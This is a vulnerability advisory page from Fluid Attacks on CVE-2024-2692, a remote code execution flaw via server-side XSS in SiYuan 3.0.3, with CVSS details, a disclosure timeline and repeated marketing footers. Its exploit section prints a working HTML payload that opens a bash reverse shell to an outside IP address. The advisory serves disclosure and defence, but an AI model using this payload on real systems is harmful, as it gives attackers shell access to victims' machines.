SiYuan 3.0.3 - RCE via Server Side XSS

9.6

Critical

Discovered by 

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

SiYuan 3.0.3 - RCE via Server Side XSS

Code name

State

Public

Release date

Apr 3, 2024

Affected product

SiYuan

Affected version(s)

Version 3.0.3

Vulnerability name

Server Side XSS

Vulnerability type

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVSS v3.1 base score

9.6

Exploit available

Yes

CVE ID(s)

Description

SiYuan version 3.0.3 allows executing arbitrary commands on the server. This is possible because the application is vulnerable to Server Side XSS.

Vulnerability

A remote code execution vulnerability has been identified in SiYuan. This is possible when the victim imports a file containing a malicious HTML payload defined within it.

Exploit

<img src="1" onerror="require('child_process').exec('bash -i >& /dev/tcp/24.144.86.165/4444 0>&1');"/>

Evidence of exploitation


Our security policy

We have reserved the ID CVE-2024-2692 to refer to this issue from now on.

Disclosure policy

System Information

  • Version: SiYuan 3.0.3

  • Operating System: MacOS

Mitigation

There is currently no patch available for this vulnerability.

References

Timeline

Vulnerability discovered

Mar 18, 2024

Vendor contacted

Mar 19, 2024

Public disclosure

Apr 3, 2024

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.